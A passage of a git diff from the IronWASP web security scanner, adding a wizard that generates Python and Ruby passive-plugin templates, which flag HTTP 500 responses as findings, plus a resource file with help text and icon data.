the vulnerability reporting function"); + Py.Append(" "); Py.AppendLine("def report_vuln(self):"); + Py.Append(" "); Py.AppendLine("#Create a signature for this Finding. This helps reporting the same vulnerability multiple times. There are no rules to creating the signature, it is just a string. If the same plugin reports the same type of finding for the same host with the same signature then it is ignored as a duplicate."); + Py.Append(" "); Py.AppendLine("sign = '500 from server' + self.sess.Request.Url"); + Py.Append(" "); Py.AppendLine("#We have created a signature that has some information about the issue and the Request Url. So if another page generates error then the signature will be unqiue and reported. But if the same page is requested again then there is not duplicate report."); + Py.Append(" "); Py.AppendLine("#Before reporting this issue we check if the plugin was called with report_all value set to true or if the signature is unique."); + Py.Append(" "); Py.AppendLine("if self.report_all or self.IsSignatureUnique(self.sess.Request.BaseUrl, FindingType.Vulnerability, sign):"); + Py.Append(" "); Py.AppendLine("#Create a new instance of the Finding class, it takes the BaseUrl property of the Request object as constructor argument."); + Py.Append(" "); Py.AppendLine("f = Finding(self.sess.Request.BaseUrl)"); + Py.Append(" "); Py.AppendLine("#The type of the finding is set as vulnerability. Other possible values are FindingType.Information and FindingType.TestLead"); + Py.Append(" "); Py.AppendLine("f.Type = FindingType.Vulnerability"); + Py.Append(" "); Py.AppendLine("#The confidence of the finding is set as Medium. This property only applies to vulnerabilities. TestLeads and Information don't need to set this. Other possible values are FindingConfidence.High and FindingConfidence.Low"); + Py.Append(" "); Py.AppendLine("f.Confidence = FindingConfidence.Medium"); + Py.Append(" "); Py.AppendLine("#The severity of the finding is set as High. This property only applies to vulnerabilities. TestLeads and Information don't need to set this. Other possible values are FindingSeverity.Medium and FindingSeverity.Low"); + Py.Append(" "); Py.AppendLine("f.Severity = FindingSeverity.High"); + Py.Append(" "); Py.AppendLine("#This vulnerability is given a title"); + Py.Append(" "); Py.AppendLine("f.Title = 'Server returned an error'"); + Py.Append(" "); Py.AppendLine("#This vulnerability summary is added."); + Py.Append(" "); Py.AppendLine(@"f.Summary = ""The server returned a 500 response to this request. This indicates lack of proper error handling on the server-side."""); + Py.Append(" "); Py.AppendLine("#Triggers are a collection of Trigger objects. A Trigger is a set of Request object, corrresponding Response object and some keywords that were found in the Request and Response that triggered the detection of this vulnerability."); + Py.Append(" "); Py.AppendLine("#In this case we don't know what triggered the error so we set the request trigger as empty string and the response trigger is the status code 500"); + Py.Append(" "); Py.AppendLine(@"f.Triggers.Add('', self.sess.Request, '500', self.sess.Response)"); + Py.Append(" "); Py.AppendLine("#The signature of this vulnerability is stored"); + Py.Append(" "); Py.AppendLine("f.Signature = sign"); + Py.Append(" "); Py.AppendLine("#After defining the vulnerability it is added to the Findings object"); + Py.Append(" "); Py.AppendLine("self.results.Add(f)"); + + + + Rb.Append(" "); Rb.AppendLine("#This method implements the vulnerability reporting function"); + Rb.Append(" "); Rb.AppendLine("def report_vuln()"); + Rb.Append(" "); Rb.AppendLine("#Create a signature for this Finding. This helps reporting the same vulnerability multiple times. There are no rules to creating the signature, it is just a string. If the same plugin reports the same type of finding for the same host with the same signature then it is ignored as a duplicate."); + Rb.Append(" "); Rb.AppendLine("sign = '500 from server' + @sess.request.url"); + Rb.Append(" "); Rb.AppendLine("#We have created a signature that has some information about the issue and the Request Url. So if another page generates error then the signature will be unqiue and reported. But if the same page is requested again then there is not duplicate report."); + Rb.Append(" "); Rb.AppendLine("#Before reporting this issue we check if the plugin was called with report_all value set to true or if the signature is unique."); + Rb.Append(" "); Rb.AppendLine("if @report_all or is_signature_unique(@sess.request.base_url, FindingType.vulnerability, sign)"); + Rb.Append(" "); Rb.AppendLine("#Create a new instance of the Finding class, it takes the BaseUrl property of the Request object as constructor argument."); + Rb.Append(" "); Rb.AppendLine("f = Finding.new(@sess.request.base_url)"); + Rb.Append(" "); Rb.AppendLine("#The type of the finding is set as vulnerability. Other possible values are FindingType.information and FindingType.test_lead"); + Rb.Append(" "); Rb.AppendLine("f.type = FindingType.vulnerability"); + Rb.Append(" "); Rb.AppendLine("#The confidence of the finding is set as Medium. This property only applies to vulnerabilities. TestLeads and Information don't need to set this. Other possible values are FindingConfidence.high and FindingConfidence.low"); + Rb.Append(" "); Rb.AppendLine("f.confidence = FindingConfidence.medium"); + Rb.Append(" "); Rb.AppendLine("#The severity of the finding is set as High. This property only applies to vulnerabilities. TestLeads and Information don't need to set this. Other possible values are FindingSeverity.Medium and FindingSeverity.Low"); + Rb.Append(" "); Rb.AppendLine("f.severity = FindingSeverity.high"); + Rb.Append(" "); Rb.AppendLine("#This vulnerability is given a title"); + Rb.Append(" "); Rb.AppendLine("f.title = 'Server returned an error'"); + Rb.Append(" "); Rb.AppendLine("#This vulnerability summary is added."); + Rb.Append(" "); Rb.AppendLine(@"f.summary = ""The server returned a 500 response to this request. This indicates lack of proper error handling on the server-side."""); + Rb.Append(" "); Rb.AppendLine("#Triggers are a collection of Trigger objects. A Trigger is a set of Request object, corrresponding Response object and some keywords that were found in the Request and Response that triggered the detection of this vulnerability."); + Rb.Append(" "); Rb.AppendLine("#In this case we don't know what triggered the error so we set the request trigger as empty string and the response trigger is the status code 500"); + Rb.Append(" "); Rb.AppendLine(@"f.triggers.add('', @sess.request, '500', @sess.response)"); + Rb.Append(" "); Rb.AppendLine("#The signature of this vulnerability is stored"); + Rb.Append(" "); Rb.AppendLine("f.signature = sign"); + Rb.Append(" "); Rb.AppendLine("#After defining the vulnerability it is added to the scanner objects list of findings"); + Rb.Append(" "); Rb.AppendLine("@results.add(f)"); + Rb.Append(" "); Rb.AppendLine("end"); + Rb.Append(" "); Rb.AppendLine("end"); + + + Py.AppendLine(); + Py.AppendLine(); + Py.AppendLine(); + Py.AppendLine("#This code is executed only once when this new plugin is loaded in to the memory."); + Py.AppendLine("#Create an instance of the this plugin"); + Py.AppendLine(string.Format("p = {0}()", this.PluginName)); + Py.AppendLine("#Call the GetInstance method on this instance which will return a new instance with all the approriate values filled in. Add this new instance to the list of PassivePlugins"); + Py.AppendLine("PassivePlugin.Add(p.GetInstance())"); + Py.AppendLine(); + Py.AppendLine(); + + Rb.AppendLine("end"); + Rb.AppendLine(); + Rb.AppendLine(); + Rb.AppendLine(); + Rb.AppendLine("#This code is executed only once when this new plugin is loaded in to the memory."); + Rb.AppendLine("#Create an instance of the this plugin"); + Rb.AppendLine(string.Format("p = {0}.new", this.PluginName)); + Rb.AppendLine("#Call the get_instance method on this instance which will return a new instance with all the approriate values filled in. Add this new instance to the list of PassivePlugins"); + Rb.AppendLine("PassivePlugin.add(p.get_instance)"); + Rb.AppendLine(); + Rb.AppendLine(); + + string BottomComments = @" +#The tags shown below can be used to format your vulerability summary section. +#>introduces a line break +#>Makes the enclosed text bold> +#>Makes the enclosed text prominent like a heading> +#>Makes the enclosed text appear in red> +#>Makes the enclosed text appear in green> +#>Makes the enclosed text appear in blue> +#>Highlights the enclosed text appear in red> +#>Highlights the enclosed text appear in green> +#>Highlights the enclosed text appear in blue> +"; + Py.AppendLine(BottomComments); + Rb.AppendLine(BottomComments); + return new string[] { Py.ToString(), Rb.ToString() }; + } + + private void StepOneNextBtn_Click(object sender, EventArgs e) + { + ShowStep0Error(""); + string Name = PluginNameTB.Text.Trim(); + if (Name.Length == 0) + { + PluginNameTB.BackColor = Color.Red; + ShowStep0Error("Plugin name cannot be empty"); + return; + } + if (!Regex.IsMatch(Name, "^[a-zA-Z]+$")) + { + PluginNameTB.BackColor = Color.Red; + ShowStep0Error("Plugin Name should only contain alphabets (a-z)"); + return; + } + if (!Name[0].ToString().ToUpper().Equals(Name[0].ToString())) + { + ShowStep0Error("Plugin Name should begin with an upper case letter"); + return; + } + if (PassivePlugin.List().Contains(Name)) + { + PluginNameTB.BackColor = Color.Red; + ShowStep0Error("A Passive Plugin with this name already exists. Select a different name."); + return; + } + string Desc = PluginDescTB.Text; + if (Desc.Trim().Length == 0) + { + PluginDescTB.BackColor = Color.Red; + ShowStep0Error("Plugin description cannot be empty"); + return; + } + this.PluginName = Name; + this.PluginDescription = Desc; + this.CurrentStep = 1; + this.BaseTabs.SelectTab("PluginTypeTab"); + } + + void ShowStep0Status(string Text) + { + this.Step0StatusTB.Text = Text; + if (Text.Length == 0) + { + this.Step0StatusTB.Visible = false; + } + else + { + this.Step0StatusTB.ForeColor = Color.Black; + this.Step0StatusTB.Visible = true; + } + } + void ShowStep0Error(string Text) + { + this.Step0StatusTB.Text = Text; + if (Text.Length == 0) + { + this.Step0StatusTB.Visible = false; + } + else + { + this.Step0StatusTB.ForeColor = Color.Red; + this.Step0StatusTB.Visible = true; + } + } + void ShowStep1Status(string Text) + { + this.Step1StatusTB.Text = Text; + if (Text.Length == 0) + { + this.Step1StatusTB.Visible = false; + } + else + { + this.Step1StatusTB.ForeColor = Color.Black; + this.Step1StatusTB.Visible = true; + } + } + void ShowStep1Error(string Text) + { + this.Step1StatusTB.Text = Text; + if (Text.Length == 0) + { + this.Step1StatusTB.Visible = false; + } + else + { + this.Step1StatusTB.ForeColor = Color.Red; + this.Step1StatusTB.Visible = true; + } + } + void ShowStep2Status(string Text) + { + this.Step2StatusTB.Text = Text; + if (Text.Length == 0) + { + this.Step2StatusTB.Visible = false; + } + else + { + this.Step2StatusTB.ForeColor = Color.Black; + this.Step2StatusTB.Visible = true; + } + } + void ShowStep2Error(string Text) + { + this.Step2StatusTB.Text = Text; + if (Text.Length == 0) + { + this.Step2StatusTB.Visible = false; + } + else + { + this.Step2StatusTB.ForeColor = Color.Red; + this.Step2StatusTB.Visible = true; + } + } + + private void ModeInlineRB_CheckedChanged(object sender, EventArgs e) + { + if (ModeInlineRB.Checked) + { + PluginWorksOnGB.Visible = true; + } + else + { + PluginWorksOnGB.Visible = false; + } + } + + private void PluginNameTB_TextChanged(object sender, EventArgs e) + { + if (PluginNameTB.BackColor == Color.Red) PluginNameTB.BackColor = Color.White; + } + + private void PluginDescTB_TextChanged(object sender, EventArgs e) + { + if (PluginDescTB.BackColor == Color.Red) PluginDescTB.BackColor = Color.White; + } + + private void CancelBtn_Click(object sender, EventArgs e) + { + this.Close(); + } + + private void StepTwoPreviousBtn_Click(object sender, EventArgs e) + { + this.CurrentStep = 0; + this.BaseTabs.SelectTab("NameTab"); + } + + private void StepTwoNextBtn_Click(object sender, EventArgs e) + { + ShowStep1Error(""); + if (ModeOfflineRB.Checked) + { + State = PluginCallingState.Offline; + } + else + { + State = PluginCallingState.Inline; + + if (WorksOnRequestRB.Checked) + { + WorksOn = PluginWorksOn.Request; + } + else if (WorksOnResponseRB.Checked) + { + WorksOn = PluginWorksOn.Response; + } + else + { + WorksOn = PluginWorksOn.Both; + } + } + this.CurrentStep = 2; + this.BaseTabs.SelectTab("LanguageTab"); + } + + private void StepThreePreviousBtn_Click(object sender, EventArgs e) + { + this.CurrentStep = 1; + this.BaseTabs.SelectTab("PluginTypeTab"); + } + + private void StepThreeNextBtn_Click(object sender, EventArgs e) + { + ShowStep2Error(""); + try + { + CreatePlugin(); + } + catch (Exception Exp) + { + ShowStep2Error(string.Format("Unable to create plugin file - {0}", Exp.Message)); + return; + } + this.CurrentStep = 3; + this.BaseTabs.SelectTab("FinalTab"); + } + + private void FinalBtn_Click(object sender, EventArgs e) + { + this.Close(); + } + + private void BaseTabs_Selecting(object sender, TabControlCancelEventArgs e) + { + if (!BaseTabs.SelectedTab.Name.Equals(IndexNames[this.CurrentStep])) + BaseTabs.SelectTab(IndexNames[this.CurrentStep]); + } + } +} diff --git a/Iron/PassivePluginCreationAssistant.resx b/Iron/PassivePluginCreationAssistant.resx new file mode 100644 index 0000000..f35c828 --- /dev/null +++ b/Iron/PassivePluginCreationAssistant.resx @@ -0,0 +1,1937 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + +This assistant will help you create a template for your new passive plugin based on the details you provide. + +Enter the name and description for this new plugin. The plugin name must be unique and only contain alphabets. + + + + A Passive Plugin has been created based on the information provide by you. This plugin currently has a very simple logic. It reports a vulnerability when it sees a response with status code 500. +This is meant to serve as a template so that you can implement your required logic inside this plugin. + +To learn about how to implement your logic in code using the IronWASP API and debug or troubleshoot the plugin please use the 'Script Creation Assistant' under the 'Dev Tools' menu. + +This plugin would be listed under the Passive Plugins list, you can see this list by going to the 'Dev' -> 'Plugin & Modules' Section. + +If you make any changes to this plugin, then after saving the file right-click on the plugin name in the list and select 'Reload Selected Plugin' for the changes to take effect. +If the plugin contained syntax errors then it would not be visible in that list. Once you fix the syntax issues right-click anywhere in the list and select 'Passive Plugins -> Add New' + + + + + + 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 + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGXTwHRl0/M0ZdPqtGXT6rRl0/M0ZdPAQAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPU9GXT//Rl0+q0ZdPqtGX + T//Rl09SAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGXTwPRl0/V0ZdP/9GX + T6rRl0+q0ZdP/9GXT9TRl08DAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPXdGX + T//Rl0//0ZdPqtGXT6rRl0//0ZdP/9GXT1wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGX + TwXRl0/c0ZdP/9GXT//Rl0+q0ZdPqtGXT//Rl0//0ZdP3NGXTwUAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAA0ZdPZ9GXT//Rl0//0ZdP/9GXT6rRl0+q0ZdP/9GXT//Rl0//0ZdPZwAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAANGXTwjRl0/j0ZdP/9GXT//Rl0//0ZdPqtGXT6rRl0//0ZdP/9GXT//Rl0/j0ZdPCAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA0ZdPPdGXT//Rl0//0ZdP/9GXT//Rl0+q0ZdPqtGXT//Rl0//0ZdP/9GX + T//Rl089AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxNNTEtR0ZdP0tGXT//Rl0//0ZdP/9GXT6rRl0+q0ZdP/9GX + T//Rl0//0ZdP0U1MS1JLS0sSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLhUtLS9PPlk9b0ZdP/9GXT//Rl0//0ZdPqtGX + T6rRl0//0ZdP/9GXT//Olk9bS0tL1UtLS4QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxNLS0vyS0tL/1FOS1HRl0/c0ZdP/9GX + T//Rl0+q0ZdPqtGXT//Rl0//0ZdP21BOS1VLS0v/S0tL8ktLSxMAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLhktLS/9LS0v/S0tLxdGX + T2bRl0//0ZdP/9GXT6rRl0+q0ZdP/9GXT//Rl09mS0tLyktLS/9LS0v/S0tLhgAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxRLS0vyS0tL/0tL + S/9LS0v/WVNLRtGXT+XRl0//0ZdPqtGXT6rRl0//0ZdP5FdSS0xLS0v/S0tL/0tLS/9LS0vyS0tLFAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLh0tL + S/9LS0v/S0tL/0tLS/9LS0u30ZdPXNGXT7HRl0920ZdPdtGXT7HRl09cS0tLv0tLS/9LS0v/S0tL/0tL + S/9LS0uHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtL + SxVLS0vzS0tL/0tLS/9LS0v/S0tL/0tLS9jczG4u3c1uZN3NbmTdzW5k3c1uZNbHbC9LS0vfS0tL/0tL + S/9LS0v/S0tL/0tLS/NLS0sUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAS0tLiUtLS/9LS0v/S0tL/0tLS/9LS0v/TExLXt3NbsrdzW7/3c1u/93Nbv/dzW7/3c1uy0xM + S2ZLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS4gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAEtLSxVLS0vzS0tL/0tLS/9LS0v/S0tL/0tLS9vWx2xN3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/08RsUUtLS+BLS0v/S0tL/0tLS/9LS0v/S0tL80tLSxUAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAS0tLiktLS/9LS0v/S0tL/0tLS/9LS0v/S0tLYd3NbsfdzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7KTExLZ0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLiQAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxZLS0v0S0tL/0tLS/9LS0v/S0tL/0tLS93UxWxK3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/Sw2tRS0tL4EtLS/9LS0v/S0tL/0tLS/9LS0v0S0tLFgAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLi0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLY93N + bsPdzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93NbspMTEtoS0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0uLAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxdLS0v0S0tL/0tLS/9LS0v/S0tL/0tL + S9/SxGtH3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/9LDa1FLS0vhS0tL/0tL + S/9LS0v/S0tL/0tLS/RLS0sWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLjEtLS/9LS0v/S0tL/0tL + S/9LS0v/S0tLZt3Nbr/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1uyUxM + S2lLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS4wAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxdLS0v1S0tL/0tL + S/9LS0v/S0tL/0tLS+HQwmtE3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/0cJrUUtLS+JLS0v/S0tL/0tLS/9LS0v/S0tL9UtLSxcAAAAAAAAAAAAAAAAAAAAAS0tLjktL + S/9LS0v/S0tL/0tLS/9LS0v/S0tLaN3NbrvdzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7JTEtLaktLS/9LS0v/S0tL/0tLS/9LS0v/S0tLjQAAAAAAAAAAAAAAAEtL + SxhLS0v1S0tL/0tLS/9LS0v8S0tLtEtLS09RUEwD3c1uRt3NbpLdzW7d3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7g3c1ult3NbkuEfVkFS0tLT0tLS7RLS0v8S0tL/0tLS/9LS0v1S0tLGAAA + AAAAAAAAS0tLj0tLS/9LS0vgS0tLfUtLSxwAAAAAAAAAAAAAAAAAAAAAAAAAAN3NbgDdzW4q3c1udt3N + bsHdzW773c1u+93NbsLdzW533c1uLN3NbgAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxxLS0t+S0tL4EtL + S/9LS0uOAAAAAEtLSxRLS0ujS0tLR0tLSwIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAN3NbhLdzW4SAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AABLS0sCS0tLSEtLS6NLS0sTAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD///////5////+f////D////gf///4H///8A////AP///g + B///4Af//8AD///AA///gAH//4AB//8AAP//AAD//gAAf/4AAH/8AAA//AAAP/gAAB/4AAAf8AAAD/AA + AA/gAAAH4AAAB8AAAAPAAAADgAAAAYPwD8EP/n/w/////ygAAAAwAAAAYAAAAAEAIAAAAAAAACQAACMu + AAAjLgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAANGXTxDRl08QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA0ZdPE9GXT3DRl09w0ZdPEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + 